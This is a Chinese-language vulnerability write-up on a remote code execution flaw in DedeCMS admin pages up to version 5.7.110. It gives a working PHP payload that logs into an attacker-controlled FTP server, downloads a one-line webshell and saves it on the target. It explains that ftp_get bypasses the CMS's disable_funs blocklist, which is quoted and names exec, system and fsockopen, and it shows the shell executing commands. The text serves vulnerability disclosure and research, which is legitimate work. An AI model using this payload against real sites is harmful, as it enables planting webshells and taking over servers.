前言
接上一篇的Tricks,既然利用远程文件下载方式成为了实现RCE的最好方法,毕竟在执行的时候没有恶意shell文件,恶意木马被存放于远端服务器,那么下文的day就是对远程恶意文件的利用。
环境
下载最新版本:
https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.110-UTF8.zip
![](http://pic2.zhimg.com/v2-282b1040ffde48c2e8fa11160d8387e1_r.jpg)
影响版本:
<=DedeCMS-V5.7.110
漏洞URL:
/uploads/dede/article_string_mix.php
/uploads/dede/sys_data.php
/uploads/dede/sys_task.php
/uploads/dede/media_add.php
/uploads/dede/article_template_rand.php漏洞详情
远程服务器开启ftp服务
控制面板 >> 程序 >> 启用或关闭windows功能
![](http://pic2.zhimg.com/v2-f8fe936d1e90d3e61b8a4b9ec8d5afe9_r.jpg)
完成更改
![](http://pic1.zhimg.com/v2-f6596bf7af5bb188ac6e09540231bba8_r.jpg)
计算机管理
![](http://pic3.zhimg.com/v2-9c4d21ee524d4db238f9bcdc7c7812d2_r.jpg)
添加FTP站点
![](http://pic2.zhimg.com/v2-ba753bf1595b2c76d68ed357e14b1e91_r.jpg)
配置地址以及账号密码
![](http://pic4.zhimg.com/v2-2978499234c872ffd431cf02cf991403_r.jpg)
上面存放一句话木马
![](http://pic1.zhimg.com/v2-10017741a618df069673f486dd0e7a28_r.jpg)
文件内容为
![](http://pic3.zhimg.com/v2-1627c8a1944edc4420c47c12921e5caa_r.jpg)
payload如下:
<?
$ftp_server = "192.168.0.102";
$ftp_username = "administrator";
$ftp_password = "147258369";
$file = "shell.php";
$local_file = "shell2.php";
// set up basic connection
$conn_id = ftp_connect($ftp_server);
// login with username and password
$login_result = ftp_login($conn_id, $ftp_username, $ftp_password);
// try to download $file and save to $local_file
if (ftp_get($conn_id, $local_file, $file, FTP_BINARY)) {
echo "Successfully downloaded $file\n";
} else {
echo "There was a problem while downloading $file\n";
}
// close the connection
ftp_close($conn_id);
?>代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。通过利用ftp_get函数远程下载恶意代码文件,代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。
![](http://pic3.zhimg.com/v2-fba4f67b33460f7e66d7b07edccf76f2_r.jpg)
文件保存后,访问路径
/uploads/data/template.rand.php
![](http://pic1.zhimg.com/v2-1d3e271f47ee1c3628d8db87f11a9308_r.jpg)
提示已经成功下载一句话木马文件,查看当前目录已经生成名称为shell2.php的shell文件
http://dedecms.xyz:8066/uploads/data/shell3.php
![](http://pic2.zhimg.com/v2-1b473e1451f4147ae169e8dab94a10f5_r.jpg)
成功命令执行
漏洞分析
DedeCMS-V5.7.109-UTF8\uploads\dede\media_add.php上传文件的时候仅仅只对权限以及上传类型做了校验,对文件内容未做校验导致漏洞产生。
继续向下看,文件上传文件处理代码DedeCMS-V5.7.109-UTF8\uploads\dede\file_manage_control.php
![](http://pic1.zhimg.com/v2-fd1c180a2414ffa4a189e965057b04cc_r.jpg)
代码中定义了disable_funs,但是禁用的函数涉及
phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders在上面的payload中,利用手法利用点儿在于
![](http://pic1.zhimg.com/v2-c61290208b03ee29cce51e102d5e8d60_r.jpg)
ftp_get函数是可以绕过disable_funs的,使用该函数实现bypass进行远程恶意代码调用,导致RCE。
小结
其它的方法也可以尝试,ftp远程调用,telnet远程调用等,包括很多方法可以实现,但是使用条件存在限制。其实在Dede由于后台参数可以直接进行配置,代码中disable_funs的定义没有意义,该模块只要存在,只要绕过正则,RCE的方式有很多。 |